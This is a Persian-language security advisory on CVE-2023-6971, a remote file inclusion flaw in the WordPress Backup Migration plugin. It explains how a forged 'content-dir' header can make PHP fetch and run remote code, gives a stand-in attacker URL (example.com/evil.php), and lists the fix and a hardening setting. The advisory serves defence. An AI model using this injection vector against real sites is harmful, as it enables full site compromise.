آسیبپذیری Remote File Inclusion در افزونه Backup Migration وردپرس
یک آسیبپذیری Remote File Inclusion (RFI) با شناسه CVE-2023-6971 و شدت 8.1 در افزونه Backup Migration وردپرس از نسخه 1.0.8 تا 1.3.9 شناسایی شد. این آسیبپذیری به مهاجمان اجازه میدهد تا کد مخرب فایلهای خارجی را از طریق سرور اجرا کنند. این آسیبپذیری میتواند منجر به عواقب جدی از جمله از دست دادن دادهها، سرقت اطلاعات و حتی حمله DDoS شود.
اساس آسیبپذیری مذکور، نحوه پردازش header “content-dir” در افزونه Backup Migration است. این header جهت تعیین مسیر پیشفرض برای ذخیره فایلهای پشتیبان استفاده میشود. در نسخههای آسیبپذیر، این header بدون اعتبارسنجی، در کد PHP پردازش میشود. این بدان معناست که یک مهاجم میتواند header “content-dir” را با یک آدرس URL برای فایل خارجی جعل کند. اگر ویژگی “allow_url_include”در فایل پیکربندی PHP سرور آسیبدیده، دارای مقدار “on” باشد، PHPکد فایل خارجی را اجرا میکند.
https://example.com/evil.php
اگر فایل “evil.php” حاوی کد مخرب باشد، PHP فایل “evil.php” را از وبسایت “example.com” میخواند و کد آن را اجرا میکند. این موضوع میتواند منجر به کنترل کامل وبسایت آسیبدیده توسط مهاجم شود.
توصیههای امنیتی
توسعهدهندگان افزونه Backup Migration در نسخه 1.4.0 این آسیبپذیری را با جایگزینی پارامتر content-dir در تابع backup_migration_get_backup_list با یک متغیر محلی رفع کردهاند. این متغیر محلی فقط میتواند مقادیری را دریافت کند که به طور صریح تعریف شدهاند.
علاوه بر این، توسعهدهندگان این افزونه توصیه میکنند که “allow_url_include” در فایل پیکربندی PHP سرور روی “off ” تنظیم شود. این کار، بهرهبرداری از آسیبپذیریهای RFI در سایر افزونهها و قالبهای وردپرس جلوگیری میکند.